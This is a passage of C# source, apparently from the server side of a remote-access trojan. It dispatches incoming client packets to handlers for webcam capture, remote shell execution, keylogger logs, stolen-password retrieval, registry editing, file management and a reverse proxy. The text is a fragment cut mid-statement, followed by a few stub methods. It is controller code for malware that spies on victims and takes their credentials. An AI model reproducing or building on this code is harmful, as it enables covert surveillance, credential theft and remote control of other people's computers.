(ClientPackets.GetWebcamsResponse)packet); } else if (type == typeof(ClientPackets.GetWebcamResponse)) { CommandHandler.HandleGetWebcamResponse(client, (ClientPackets.GetWebcamResponse)packet); } else if (type == typeof(ClientPackets.DoShellExecuteResponse)) { CommandHandler.HandleDoShellExecuteResponse(client, (ClientPackets.DoShellExecuteResponse)packet); } else if (type == typeof(ClientPackets.GetStartupItemsResponse)) { CommandHandler.HandleGetStartupItemsResponse(client, (ClientPackets.GetStartupItemsResponse)packet); } else if (type == typeof(ClientPackets.GetKeyloggerLogsResponse)) { CommandHandler.HandleGetKeyloggerLogsResponse(client, (ClientPackets.GetKeyloggerLogsResponse)packet); } else if (type == typeof(ClientPackets.GetRegistryKeysResponse)) { CommandHandler.HandleLoadRegistryKey((ClientPackets.GetRegistryKeysResponse)packet, client); } else if (type == typeof(ClientPackets.GetCreateRegistryKeyResponse)) { CommandHandler.HandleCreateRegistryKey((ClientPackets.GetCreateRegistryKeyResponse)packet, client); } else if (type == typeof(ClientPackets.GetDeleteRegistryKeyResponse)) { CommandHandler.HandleDeleteRegistryKey((ClientPackets.GetDeleteRegistryKeyResponse)packet, client); } else if (type == typeof(ClientPackets.GetRenameRegistryKeyResponse)) { CommandHandler.HandleRenameRegistryKey((ClientPackets.GetRenameRegistryKeyResponse)packet, client); } else if (type == typeof(ClientPackets.GetCreateRegistryValueResponse)) { CommandHandler.HandleCreateRegistryValue((ClientPackets.GetCreateRegistryValueResponse)packet, client); } else if (type == typeof(ClientPackets.GetDeleteRegistryValueResponse)) { CommandHandler.HandleDeleteRegistryValue((ClientPackets.GetDeleteRegistryValueResponse)packet, client); } else if (type == typeof(ClientPackets.GetRenameRegistryValueResponse)) { CommandHandler.HandleRenameRegistryValue((ClientPackets.GetRenameRegistryValueResponse)packet, client); } else if (type == typeof(ClientPackets.GetChangeRegistryValueResponse)) { CommandHandler.HandleChangeRegistryValue((ClientPackets.GetChangeRegistryValueResponse)packet, client); } else if (type == typeof(ClientPackets.GetPasswordsResponse)) { CommandHandler.HandleGetPasswordsResponse(client, (ClientPackets.GetPasswordsResponse)packet); } else if (type == typeof(ClientPackets.SetStatusFileManager)) { CommandHandler.HandleSetStatusFileManager(client, (ClientPackets.SetStatusFileManager)packet); } else if (type == typeof(ReverseProxy.Packets.ReverseProxyConnectResponse) || type == typeof(ReverseProxy.Packets.ReverseProxyData) || type == typeof(ReverseProxy.Packets.ReverseProxyDisconnect)) { ReverseProxyCommandHandler.HandleCommand(client, packet); } else if (type == typeof(ClientPackets.GetConnectionsResponse)) { CommandHandler.HandleGetConnectionsResponse(client, (ClientPackets.GetConnectionsResponse)packet); } }
public void BroadcastPacketReceived(IPacket packet) => PacketReceived(packet);
public void BroadcastUnhandledPacket(IPacket packet) => UnhandledPacket(packet);
public void BroadcastPacketSent(IPacket packet) => PacketSent(packet);
void IPipeline.Output <TState>(IPacket packet, IOCompleteCallback <TState> callback, TState state) { throw new NotImplementedException(); }